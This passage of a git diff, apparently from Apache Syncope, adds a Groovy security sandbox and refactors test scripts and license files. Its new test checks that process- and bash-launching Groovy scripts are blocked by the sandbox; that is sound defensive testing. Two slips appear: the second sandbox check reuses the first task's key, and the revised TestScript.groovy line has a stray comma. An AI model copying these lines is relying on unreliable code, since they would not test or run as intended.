(e.getType().getResponseStatus() == Response.Status.NOT_FOUND) { + macroActions = new ImplementationTO(); + macroActions.setKey(key); + macroActions.setEngine(engine); + macroActions.setType(IdRepoImplementationType.MACRO_ACTIONS); + macroActions.setBody(body); + Response response = IMPLEMENTATION_SERVICE.create(macroActions); + macroActions = IMPLEMENTATION_SERVICE.read( + macroActions.getType(), response.getHeaderString(RESTHeaders.RESOURCE_KEY)); + assertNotNull(macroActions.getKey()); + } + } + assertNotNull(macroActions); + } + @BeforeAll public static void testCommandsSetup() throws Exception { CommandITCase.testCommandSetup(); @@ -98,24 +121,10 @@ public static void testCommandsSetup() throws Exception { } assertNotNull(command); - ImplementationTO macroActions = null; - try { - macroActions = IMPLEMENTATION_SERVICE.read(IdRepoImplementationType.MACRO_ACTIONS, - TestMacroActions.class.getSimpleName()); - } catch (SyncopeClientException e) { - if (e.getType().getResponseStatus() == Response.Status.NOT_FOUND) { - macroActions = new ImplementationTO(); - macroActions.setKey(TestMacroActions.class.getSimpleName()); - macroActions.setEngine(ImplementationEngine.JAVA); - macroActions.setType(IdRepoImplementationType.MACRO_ACTIONS); - macroActions.setBody(TestMacroActions.class.getName()); - Response response = IMPLEMENTATION_SERVICE.create(macroActions); - macroActions = IMPLEMENTATION_SERVICE.read( - macroActions.getType(), response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - assertNotNull(macroActions.getKey()); - } - } - assertNotNull(macroActions); + createMacroActionsIfNeeded( + TestMacroActions.class.getSimpleName(), + ImplementationEngine.JAVA, + TestMacroActions.class.getName()); if (MACRO_TASK_KEY == null) { MACRO_TASK_KEY = TASK_SERVICE.search( @@ -174,8 +183,8 @@ public void execute() { parent.setValue("/odd"); int preExecs = TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().size(); - ExecTO execution = TASK_SERVICE.execute(new ExecSpecs.Builder().key(MACRO_TASK_KEY).build(), form); - assertNotNull(execution.getExecutor()); + ExecTO exec = TASK_SERVICE.execute(new ExecSpecs.Builder().key(MACRO_TASK_KEY).build(), form); + assertNotNull(exec.getExecutor()); await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { try { @@ -185,7 +194,7 @@ public void execute() { } }); - ExecTO exec = TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().get(preExecs); + exec = TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().get(preExecs); assertEquals(ExecStatus.SUCCESS.name(), exec.getStatus()); AnyObjectTO printer = ANY_OBJECT_SERVICE.read(PRINTER, TCA.getPrinterName()); @@ -264,4 +273,61 @@ public void cantExecute() { assertEquals(ClientExceptionType.DelegatedAdministration, e.getType()); } } + + @Test + public void groovySecuritySandbox() throws IOException { + createMacroActionsIfNeeded( + "ProcessBuilderMacroActions", + ImplementationEngine.GROOVY, + IOUtils.toString( + getClass().getResourceAsStream("/ProcessBuilderMacroActions.groovy"), StandardCharsets.UTF_8)); + + MacroTaskTO task = new MacroTaskTO(); + task.setName("groovySecuritySandbox" + UUID.randomUUID().toString()); + task.setActive(true); + task.setRealm("/odd"); + task.setMacroActions("ProcessBuilderMacroActions"); + + Response response = TASK_SERVICE.create(TaskType.MACRO, task); + String firstTaskKey = response.getHeaderString(RESTHeaders.RESOURCE_KEY); + assertNotNull(firstTaskKey); + TASK_SERVICE.execute(new ExecSpecs.Builder().key(firstTaskKey).build()); + + ExecTO exec = await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { + try { + return TASK_SERVICE.read(TaskType.MACRO, firstTaskKey, true).getExecutions().getFirst(); + } catch (Exception e) { + return null; + } + }, e -> e != null && !"JOB_FIRED".equals(e.getStatus())); + assertEquals(ExecStatus.FAILURE.name(), exec.getStatus()); + assertTrue(exec.getMessage().startsWith("java.lang.SecurityException: Insecure call to")); + + createMacroActionsIfNeeded( + "BashMacroActions", + ImplementationEngine.GROOVY, + IOUtils.toString( + getClass().getResourceAsStream("/BashMacroActions.groovy"), StandardCharsets.UTF_8)); + + task = new MacroTaskTO(); + task.setName("groovySecuritySandbox" + UUID.randomUUID().toString()); + task.setActive(true); + task.setRealm("/odd"); + task.setMacroActions("BashMacroActions"); + + response = TASK_SERVICE.create(TaskType.MACRO, task); + String secondTaskKey = response.getHeaderString(RESTHeaders.RESOURCE_KEY); + assertNotNull(secondTaskKey); + TASK_SERVICE.execute(new ExecSpecs.Builder().key(firstTaskKey).build()); + + exec = await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { + try { + return TASK_SERVICE.read(TaskType.MACRO, firstTaskKey, true).getExecutions().getFirst(); + } catch (Exception e) { + return null; + } + }, e -> e != null && !"JOB_FIRED".equals(e.getStatus())); + assertEquals(ExecStatus.FAILURE.name(), exec.getStatus()); + assertTrue(exec.getMessage().startsWith("java.lang.SecurityException: Insecure call to")); + } } diff --git a/fit/core-reference/src/test/resources/AddResourcePullActions.groovy b/fit/core-reference/src/test/resources/AddResourcePullActions.groovy index e0e5533724a..f848523d623 100644 --- a/fit/core-reference/src/test/resources/AddResourcePullActions.groovy +++ b/fit/core-reference/src/test/resources/AddResourcePullActions.groovy @@ -16,8 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic - import org.apache.syncope.core.provisioning.api.pushpull.InboundActions; import org.apache.syncope.common.lib.request.AnyUR; import org.apache.syncope.common.lib.to.EntityTO; @@ -34,7 +32,6 @@ import org.identityconnectors.framework.common.objects.LiveSyncDelta; /** * Class for integration tests: add new resource and put a password only for it. */ -@CompileStatic class AddResourcePullActions implements InboundActions { void beforeUpdate( @@ -66,4 +63,4 @@ class AddResourcePullActions implements InboundActions { userUR.getResources().add(resPatchItem); } } -} \ No newline at end of file +} diff --git a/fit/core-reference/src/test/resources/CustomAuditLogicActions.groovy b/fit/core-reference/src/test/resources/CustomAuditLogicActions.groovy index 5b1cfeb53bf..2ba365acff3 100644 --- a/fit/core-reference/src/test/resources/CustomAuditLogicActions.groovy +++ b/fit/core-reference/src/test/resources/CustomAuditLogicActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.time.OffsetDateTime import org.apache.syncope.common.lib.request.AnyUR import org.apache.syncope.common.lib.types.OpEvent @@ -25,7 +24,6 @@ import org.apache.syncope.core.provisioning.api.AuditManager import org.apache.syncope.core.spring.security.AuthContextUtils import org.springframework.beans.factory.annotation.Autowired -@CompileStatic class CustomAuditLogicActions implements LogicActions { @Autowired diff --git a/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy b/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy index 2a56c678863..01cc95264d5 100644 --- a/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy +++ b/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.Attr import org.apache.syncope.common.lib.request.AnyCR import org.apache.syncope.common.lib.request.AnyUR @@ -26,7 +25,6 @@ import org.apache.syncope.core.logic.api.LogicActions /** * Class for integration tests: transform (by making it double) any attribute value for defined schema. */ -@CompileStatic class DoubleValueLogicActions implements LogicActions { private static final String NAME = "makeItDouble"; @@ -70,4 +68,4 @@ class DoubleValueLogicActions implements LogicActions { return input; } -} \ No newline at end of file +} diff --git a/fit/core-reference/src/test/resources/GroovyCommand.groovy b/fit/core-reference/src/test/resources/GroovyCommand.groovy index def28c16a82..f2811a69a6c 100644 --- a/fit/core-reference/src/test/resources/GroovyCommand.groovy +++ b/fit/core-reference/src/test/resources/GroovyCommand.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ - import java.util.Map import org.apache.syncope.common.lib.command.CommandArgs import org.apache.syncope.core.logic.SyncopeLogic diff --git a/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy b/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy index c4fa8ee6a1b..24773fc42dd 100644 --- a/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy +++ b/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.ArrayList; import java.util.List; import org.apache.commons.lang3.StringUtils; @@ -28,7 +27,6 @@ import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.PlainAttrValue import org.apache.syncope.core.provisioning.api.data.ItemTransformer; -@CompileStatic class PrefixItemTransformer implements ItemTransformer { public static String PREFIX = "PREFIX_"; diff --git a/fit/core-reference/src/test/resources/TestPullRule.groovy b/fit/core-reference/src/test/resources/TestPullRule.groovy index 7160f792da3..db7411bf357 100644 --- a/fit/core-reference/src/test/resources/TestPullRule.groovy +++ b/fit/core-reference/src/test/resources/TestPullRule.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision import org.apache.syncope.core.persistence.api.dao.search.AttrCond import org.apache.syncope.core.persistence.api.dao.search.SearchCond @@ -26,7 +25,6 @@ import org.identityconnectors.framework.common.objects.LiveSyncDelta /** * Test pull rule relying on {@code email} attribute value. */ -@CompileStatic class TestPullRule implements InboundCorrelationRule { @Override diff --git a/fit/core-reference/src/test/resources/TestPushRule.groovy b/fit/core-reference/src/test/resources/TestPushRule.groovy index 1404630a6b0..e3920a72f7f 100644 --- a/fit/core-reference/src/test/resources/TestPushRule.groovy +++ b/fit/core-reference/src/test/resources/TestPushRule.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.ExternalResource @@ -28,7 +27,6 @@ import org.identityconnectors.framework.common.objects.filter.FilterBuilder /** * Test push rule relying on {@code email} attribute value. */ -@CompileStatic class TestPushRule implements PushCorrelationRule { @Override diff --git a/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy b/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy index 99a6412ba8c..85e1bdf6492 100644 --- a/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy +++ b/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy @@ -21,9 +21,7 @@ import org.identityconnectors.framework.common.objects.ObjectClass import org.identityconnectors.framework.common.objects.filter.Filter import org.identityconnectors.framework.common.objects.filter.FilterBuilder import org.apache.syncope.core.provisioning.api.pushpull.ReconFilterBuilder -import groovy.transform.CompileStatic -@CompileStatic class TestReconFilterBuilder implements ReconFilterBuilder { private static final Filter EQUALS = FilterBuilder.equalTo(AttributeBuilder.build("SURNAME", "Rossi")); diff --git a/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy b/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy index bba9ec46498..2e96d0587e9 100644 --- a/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy +++ b/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy @@ -16,8 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.sql.Sql; -import groovy.sql.DataSet; +import groovy.sql.Sql // Parameters: // The connector sends the following: @@ -48,11 +47,11 @@ import groovy.sql.DataSet; // !!!! Each Map must contain a '__UID__' and '__NAME__' attribute. // This is required to build a ConnectorObject. -log.info("Entering " + action + " Script"); +log.info("Entering " + action + " Script") -def sql = new Sql(connection); +def sql = new Sql(connection) def result = [] -def where = ""; +def where = "" if (query != null) { // Need to handle the __UID__ in queries @@ -61,7 +60,7 @@ if (query != null) { } // We can use Groovy template engine to generate our custom SQL queries - def engine = new groovy.text.SimpleTemplateEngine(); + def engine = new groovy.text.SimpleTemplateEngine() def whereTemplates = [ CONTAINS:' WHERE $left ${not ? "NOT " : ""}LIKE "%$right%"', @@ -74,21 +73,22 @@ if (query != null) { LESSTHANOREQUAL:' WHERE $left ${not ? ">" : "<="} "$right"' ] - def wt = whereTemplates.get(query.get("operation")); - def binding = [left:query.get("left"),right:query.get("right"),not:query.get("not")]; - def template = engine.createTemplate(wt).make(binding); - where = template.toString(); + def wt = whereTemplates.get(query.get("operation")) + def binding = [left:query.get("left"),right:query.get("right"),not:query.get("not")] + def template = engine.createTemplate(wt).make(binding) + where = template.toString() log.ok("Search WHERE clause is: "+ where) } -switch ( objectClass ) { +switch (objectClass) { case "__PRINTER__": - sql.eachRow("SELECT * FROM TESTPRINTER " + where + ((where?.trim ()) ? "AND" : "WHERE") + " deleted <> TRUE", - {result.add([__UID__:it.id, __NAME__:it.id, ID:it.id, PRINTERNAME:it.printername, LOCATION:it.location])} ); + sql.eachRow("SELECT * FROM TESTPRINTER " + where + ((where?.trim()) ? "AND" : "WHERE") + " deleted <> TRUE") { row -> + result.add([__UID__:row["id"], __NAME__:row["id"], ID:row["id"], PRINTERNAME:row["printername"], LOCATION:row["location"]]) + } break default: - result; + result } -return result; +return result diff --git a/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy b/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy index 712dda92657..2674d64f9c6 100644 --- a/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy +++ b/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy @@ -16,8 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.sql.Sql; -import groovy.sql.DataSet; +import groovy.sql.Sql // Parameters: // The connector sends the following: @@ -46,54 +45,52 @@ import groovy.sql.DataSet; // "attributes":Map of attributes name/values // ] -log.info("Entering " + action + " Script"); -def sql = new Sql(connection); +log.info("Entering " + action + " Script") +def sql = new Sql(connection) if (action.equalsIgnoreCase("GET_LATEST_SYNC_TOKEN")) { switch (objectClass) { case "__PRINTER__": - row = sql.firstRow("SELECT lastmodification FROM TESTPRINTER ORDER BY lastmodification DESC"); + row = sql.firstRow("SELECT lastmodification FROM TESTPRINTER ORDER BY lastmodification DESC") log.ok("Get Latest Sync Token script: last token is: " + row["lastmodification"]) - break; + break default: - row = null; + row = null } - return row == null ? null : row["lastmodification"].getTime(); + return row == null ? null : row["lastmodification"].getTime() } else if (action.equalsIgnoreCase("SYNC")) { - def result = []; - def lastmodification = null; + def result = [] + def lastmodification = null if (token != null) { - lastmodification = new Date(token); + lastmodification = new Date(token) } else { - lastmodification = new Date(0); + lastmodification = new Date(0) } switch (objectClass) { case "__PRINTER__": - sql.eachRow("SELECT * FROM TESTPRINTER WHERE lastmodification > ${lastmodification}", - { - result.add([ - operation:it.deleted ? "DELETE": "CREATE_OR_UPDATE", - uid:it.id.toString(), - token:it.lastmodification.getTime(), - attributes:[ - __UID__:it.id.toString(), - __NAME__:it.id.toString(), - ID:it.id.toString(), - PRINTERNAME:it.printername, - LOCATION:it.location - ] - ]); - } - ) - break; + sql.eachRow("SELECT * FROM TESTPRINTER WHERE lastmodification > ${lastmodification}") { row -> + result.add([ + operation:row["deleted"] ? "DELETE": "CREATE_OR_UPDATE", + uid:row["id"].toString(), + token:row["lastmodification"].getTime(), + attributes:[ + __UID__:row["id"].toString(), + __NAME__:row["id"].toString(), + ID:row["id"].toString(), + PRINTERNAME:row["printername"], + LOCATION:row["location"] + ] + ]) + } + break } - log.ok("Sync script: found " + result.size() + " events to sync"); - return result; + log.ok("Sync script: found " + result.size() + " events to sync") + return result } else { - log.error("Sync script: action '" + action + "' is not implemented in this script"); - return null; + log.error("Sync script: action '" + action + "' is not implemented in this script") + return null } diff --git a/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy b/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy index 1de9d9f8d01..54553503b4b 100644 --- a/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy +++ b/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy @@ -16,8 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.sql.Sql; -import groovy.sql.DataSet; +import groovy.sql.Sql // Parameters: // The connector sends the following: @@ -25,7 +24,7 @@ import groovy.sql.DataSet; // action: a string describing the action ("TEST" here) // log: a handler to the Log facility -log.info("Entering " + action + " Script"); -def sql = new Sql(connection); +log.info("Entering " + action + " Script") +def sql = new Sql(connection) -sql.eachRow("select * from TESTPRINTER", { println it.id} ); \ No newline at end of file +sql.eachRow("select * from TESTPRINTER"), { row -> println row["id"] } diff --git a/pom.xml b/pom.xml index 8a5178ba884..4678a2af0c4 100644 --- a/pom.xml +++ b/pom.xml @@ -395,10 +395,10 @@ under the License. 2025-08-08T07:03:20Z ${project.version} - 1.6.0.1 + 1.6.1.0-SNAPSHOT 1.5.0 - 1.1.0 - 2.4.0 + 1.1.1-SNAPSHOT + 2.4.1-SNAPSHOT 0.8.9 1.5.10 1.4.0 @@ -475,7 +475,7 @@ under the License. 1.21.0 - 2.1.0 + 2.1.1 17.6.0 o=isp @@ -985,6 +985,12 @@ under the License. ${groovy.version} + + net.tirasa + groovy-security-sandbox + 1.0.0-SNAPSHOT + + org.flowable diff --git a/sra/LICENSE b/sra/LICENSE index 3c9ab8ca0e5..c6e60a5ee84 100644 --- a/sra/LICENSE +++ b/sra/LICENSE @@ -552,11 +552,6 @@ This is licensed under the AL 2.0, see above. == -For Joda Time (http://www.joda.org/joda-time/): -This is licensed under the AL 2.0, see above. - -== - For json-smart-v2 (https://github.com/netplex/json-smart-v2): This is licensed under the AL 2.0, see above. diff --git a/sra/NOTICE b/sra/NOTICE index 2c206803779..1bdd9ca9197 100644 --- a/sra/NOTICE +++ b/sra/NOTICE @@ -102,11 +102,6 @@ Copyright (c) Red Hat, Inc., Emmanuel Bernard == -This product includes software developed by the Joda Time project. -Copyright (c) 2002-2016 Joda.org. All Rights Reserved. - -== - This product includes software developed by Java Apereo CAS Client Copyright (c) 2007, JA-SIG, Inc. diff --git a/src/main/asciidoc/reference-guide/concepts/implementations.adoc b/src/main/asciidoc/reference-guide/concepts/implementations.adoc index 2107b73b118..d74ed98c1d0 100644 --- a/src/main/asciidoc/reference-guide/concepts/implementations.adoc +++ b/src/main/asciidoc/reference-guide/concepts/implementations.adoc @@ -33,6 +33,15 @@ Customizing and extending the Core behavior by uploading a Groovy class via REST platform, allows to speed up the development cycle and can be used as Swiss army knife for maintenance and administration. -Please beware that granting the permission to manage Implementations to non-admin users can result in security threat, -as there is virtually no limitation in what the Groovy code has access to. +Please beware that granting the permission to manage Implementations to non-admin users shall be performed with great +care. The Groovy code is anyway going to be executed in a sandbox, where the set of forbidden classes and methods +can be configured on each deployment. + +Check the provided +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/ilgrosso/syncope/blob/syncope-{docVersion}/core/spring/src/main/resources/META-INF/groovy.blacklist[groovy.blacklist^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/ilgrosso/syncope/blob/4_0_X/core/spring/src/main/resources/META-INF/groovy.blacklist[groovy.blacklist^] +endif::[] +. ==== diff --git a/standalone/LICENSE b/standalone/LICENSE index c6f48dedb50..bb98c12d53c 100644 --- a/standalone/LICENSE +++ b/standalone/LICENSE @@ -527,6 +527,11 @@ This is licensed under the AL 2.0, see above. == +For FindBugs-jsr305 (http://findbugs.sourceforge.net/): +This is licensed under the AL 2.0, see above. + +== + For Gson (https://github.com/google/gson): This is licensed under the AL 2.0, see above. @@ -547,6 +552,11 @@ This is licensed under the AL 2.0, see above. == +For Protocol Buffers (https://developers.google.com/protocol-buffers/): +This is licensed under the BSD license, see above. + +== + For ZXing (https://github.com/zxing/zxing): This is licensed under the AL 2.0, see above. @@ -801,6 +811,11 @@ This is licensed under the MIT license, see above. == +For Spectator (https://github.com/Netflix/spectator): +This is licensed under the AL 2.0, see above. + +== + For Nimbus Content Type (https://bitbucket.org/connect2id/nimbus-content-type/): This is licensed under the AL 2.0, see above. @@ -826,11 +841,21 @@ This is licensed under the AL 2.0, see above. == +For RabbitMQ Java Client (https://www.rabbitmq.com/java-client.html): +This is licensed under the AL 2.0, see above. + +== + For Java implementation of the Mustache template language (https://github.com/samskivert/jmustache): This is licensed under the BSD license, see above. == +For SignalFx client libraries (https://github.com/signalfx/signalfx-java): +This is licensed under the AL 2.0, see above. + +== + For Moshi (https://square.github.io/moshi/1.x): This is licensed under the AL 2.0, see above. @@ -1272,6 +1297,11 @@ This is licensed under the BSD license, see above. == +For t-digest (https://github.com/tdunning/t-digest): +This is licensed under the AL 2.0, see above. + +== + For Method Parameter Name Access for Java (https://github.com/paul-hammant/paranamer): This is licensed under the BSD license, see above. @@ -1307,6 +1337,11 @@ This is licensed under the BSD license, see above. == +For Wavefront's Java SDK (https://github.com/wavefrontHQ/wavefront-sdk-java): +This is licensed under the AL 2.0, see above. + +== + For Yammer Metrics (https://github.com/StoyanTc/yammer-metrics): This is licensed under the AL 2.0, see above. @@ -1417,6 +1452,11 @@ This is licensed under the BSD license, see above. == +For gmetric4j (https://github.com/ganglia/gmetric4j): +This is licensed under the BSD license, see above. + +== + For inherits (https://github.com/isaacs/inherits): This is licensed under the MIT license, see above. @@ -1452,11 +1492,21 @@ This is licensed under the AL 2.0, see above. == +For Java Bindings for the OpenTelemetry Protocol (OTLP) (https://github.com/open-telemetry/opentelemetry-proto-java): +This is licensed under the AL 2.0, see above. + +== + For Project Reactor (https://projectreactor.io/): This is licensed under the AL 2.0, see above. == +For Prometheus Java Metrics Library (http://prometheus.github.io/client_java/): +This is licensed under the AL 2.0, see above. + +== + For Swagger (http://swagger.io/): This is licensed under the AL 2.0, see above. @@ -1632,6 +1682,11 @@ This is licensed under the AL 2.0, see above. == +For Groovy Security Sandbox (https://github.com/Tirasa/groovy-security-sandbox): +This is licensed under the MIT license, see above. + +== + For normalize.css (http://necolas.github.io/normalize.css/): This is licensed under the MIT license, see above. @@ -1697,6 +1752,11 @@ This is licensed under the AL 2.0, see above. == +For groovy-sandbox (https://github.com/craftercms/groovy-sandbox): +This is licensed under the MIT license, see above. + +== + For Cryptacular (https://github.com/vt-middleware/cryptacular): This is licensed under the AL 2.0, see above. @@ -1792,6 +1852,11 @@ This is licensed under the MIT license, see above. == +For JSpecify (https://jspecify.dev/): +This is licensed under the AL 2.0, see above. + +== + For LatencyUtils (https://latencyutils.github.io/LatencyUtils/): This is licensed under the CC0 1.0, see above. @@ -1907,6 +1972,11 @@ This is licensed under the AL 2.0, see above. == +For zxcvbn (https://github.com/dropbox/zxcvbn): +This is licensed under the MIT license, see above. + +== + For WicketStuff (https://wicketstuff.org/): This is licensed under the AL 2.0, see above. @@ -1927,6 +1997,16 @@ This is licensed under the MIT license, see above. == +For AWS SDK for Java (https://aws.amazon.com/sdkforjava): +This is licensed under the AL 2.0, see above. + +== + +For AWS EventStream for Java (https://github.com/awslabs/aws-eventstream-java): +This is licensed under the AL 2.0, see above. + +== + For spin.js (http://spin.js.org/): This is licensed under the MIT license, see above. @@ -1937,6 +2017,11 @@ This is licensed under the MIT license, see above. == +For sweetalert2 (https://github.com/sweetalert2/sweetalert2): +This is licensed under the MIT license, see above. + +== + For Tempus Dominus Bootstrap 4 Datetime Picker (https://github.com/tempusdominus/bootstrap-4): This is licensed under the MIT license, see above. @@ -1957,6 +2042,16 @@ This is licensed under the MIT license, see above. == +For UAParser.js (https://github.com/faisalman/ua-parser-js): +This is licensed under the MIT license, see above. + +== + +For webjars-locator-lite (https://github.com/webjars/webjars-locator-lite/): +This is licensed under the MIT license, see above. + +== + For window.fetch polyfill (https://github.github.io/fetch/): This is licensed under the MIT license, see above. @@ -2181,8 +2276,3 @@ intellectual property laws of the United States of America. No party to this Agreement will bring a legal action under this Agreement more than one year after the cause of action arose. Each party waives its rights to a jury trial in any resulting litigation. - -== - -For zxcvbn (https://github.com/dropbox/zxcvbn): -This is licensed under the MIT license, see above. diff --git a/standalone/NOTICE b/standalone/NOTICE index c9367ec363c..17b0960cf75 100644 --- a/standalone/NOTICE +++ b/standalone/NOTICE @@ -136,6 +136,11 @@ This product includes software developed by J2ObjC: Java to Objective-C Translat == +This product includes software developed by Protocol Buffers +Copyright 2008 Google Inc. All rights reserved. + +== + This product includes software developed by ZXing Copyright: 2007-2020, ZXing authors @@ -167,6 +172,11 @@ Copyright (c) Microsoft Corporation. All rights reserved. == +This product includes software developed by Spectator +Copyright Netflix. All Rights Reserved. + +== + This product includes software developed by Nimbus Content Type Copyright 2020, Connect2id Ltd @@ -187,12 +197,22 @@ Copyright 2012-2022, Connect2id Ltd == +This product includes software developed by RabbitMQ Java Client +Copyright (c) 2007-Present Pivotal Software, Inc. All rights reserved. + +== + This product includes software developed by Java implementation of the Mustache template language. Copyright (c) 2010, Michael Bayne All rights reserved. == +This product includes software developed by SignalFx client libraries +Copyright © 2014-2023 SignalFx | Splunk + +== + This product includes software developed by Moshi Copyright (C) 2020 Square, Inc. @@ -228,6 +248,11 @@ Copyright (c) 2018, 2024 Oracle and/or its affiliates. All rights reserved. == +This product includes software developed by t-digest +The code for the t-digest was originally authored by Ted Dunning + +== + This product includes software developed by Method Parameter Name Access for Java. Portions copyright (c) 2006-2018 Paul Hammant & ThoughtWorks Inc Portions copyright (c) 2000-2007 INRIA, France Telecom @@ -256,6 +281,11 @@ Copyright (c) 2014-2017 Enrico M. Crisostomo == +This product includes software developed by Wavefront's Java SDK +Copyright (c) 2017-Present VMware, Inc. All Rights Reserved. + +== + This product includes software developed by Yammer Metrics. Copyright (c) 2010-2013 Coda Hale, Yammer.com @@ -355,6 +385,12 @@ Copyright (c) 2006, Ivan Sagalaev == +This product includes software developed by gmetric4j +Copyright (C) 2010-2015 Daniel Pocock +Copyright (c) 2008-2011 Jasper Humphrey + +== + This product includes software developed by inherits Copyright (c) 2011-2023 Isaac Z. Schlueter @@ -390,6 +426,16 @@ Copyright 2014 The Netty Project == +This product includes software developed by Java Bindings for the OpenTelemetry Protocol (OTLP) +Copyright The OpenTelemetry Authors + +== + +This product includes software developed by Prometheus Java Metrics Library +Copyright 2012-2015 The Prometheus Authors + +== + This product includes software developed by the Swagger project. Copyright 2016 SmartBear Software @@ -550,6 +596,12 @@ Copyright 2017 Flowable == +This product includes software developed by Groovy Security Sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors +Copyright (c) 2025 Tirasa + +== + This product includes software developed by normalize.css Copyright © Nicolas Gallagher and Jonathan Neal @@ -613,6 +665,11 @@ This product includes software developed by the Woodstox Project. == +This product includes software developed by groovy-sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors + +== + This product includes software developed by Serializable java.util.function Interfaces. Copyright (c) 2015 Jakub Danek @@ -694,6 +751,11 @@ Copyright (c) 2002 JSON.org == +This product includes software developed by JSpecify +Copyright 2022 The JSpecify Authors. + +== + This product includes software developed by Ldaptive Java Library Copyright (C) 2003-2021 Virginia Tech. All Rights Reserved. @@ -793,6 +855,11 @@ Copyright 2012 Twitter, Inc. == +This product includes software developed by zxcvbn +Copyright (c) 2012-2016 Dan Wheeler and Dropbox, Inc. + +== + This product includes software developed by WicketStuff Copyright (c) 1998-2004, Drew Davidson and Luke Blanshard @@ -807,11 +874,26 @@ Copyright (c) 2021 Floating UI contributors == +This product includes software developed by AWS SDK for Java +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + +== + +This product includes software developed by AWS EventStream for Java +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + +== + This product includes software developed by Summernote Copyright (c) 2015~ Summernote Team (https://github.com/orgs/summernote/people) == +This product includes software developed by sweetalert2 +Copyright (c) 2014 Tristan Edwards & Limon Monte + +== + This product includes software developed by Tempus Dominus Bootstrap 4 Datetime Picker Copyright (c) 2016 Tempus Dominus @@ -822,6 +904,16 @@ Copyright (c) Microsoft Corporation. == +This product includes software developed by UAParser.js +Copyright (c) 2012-2025 Faisal Salman + +== + +This product includes software developed by webjars-locator-lite +Copyright (c) 2013 James Ward + +== + This product includes software developed by window.fetch polyfill Copyright (c) 2014-2016 GitHub, Inc. @@ -830,8 +922,3 @@ Copyright (c) 2014-2016 GitHub, Inc. This product includes software developed by the Web Services Description Language for Java project. Copyright (c) Dice. All Rights Reserved. - -== - -This product includes software developed by zxcvbn -Copyright (c) 2012-2016 Dan Wheeler and Dropbox, Inc.